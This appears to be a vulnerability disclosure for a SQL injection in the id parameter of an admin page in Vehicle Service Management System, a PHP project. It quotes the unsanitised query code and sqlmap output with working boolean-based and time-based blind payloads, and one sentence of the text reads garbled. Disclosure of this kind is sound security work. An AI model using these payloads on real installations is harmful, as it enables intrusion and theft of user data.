SQL injection vulnerability exists in id parameter of /admin/maintenance/manage_category.php file of Vehicle Service Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit /admin/index.php and page parameter is 'maintenance/manage_category',it will include /admin/maintenance/manage_category.php,and id parameter can do sql injection.

```php
if(isset($_GET['id']) && $_GET['id'] > 0){
    $qry = $conn->query("SELECT * from `categories` where id = '{$_GET['id']}' ");
    if($qry->num_rows > 0){
        foreach($qry->fetch_assoc() as $k => $v){
            $$k=$v;
        }
    }
```

```
sqlmap identified the following injection point(s) with a total of 391 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=maintenance/manage_category&id=1' AND 4223=4223 AND 'EgVZ'='EgVZ

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=maintenance/manage_category&id=1' AND (SELECT 9929 FROM (SELECT(SLEEP(5)))dkJ
e) AND 'MMUY'='MMUY
---
```

"

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: page=maintenance/manage_category&id=1' AND 4223=4223 AND 'EgVZ'='EgVZ

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=maintenance/manage_category&id=1' AND (SELECT 9929 FROM (SELECT(SLEEP(5)))dkJe) AND 'MMUY'='MMUY

"

Source Download：

https://www.campcodes.com/projects/php/vehicle-service-management-system-in-php-mysql-free-download-source-code/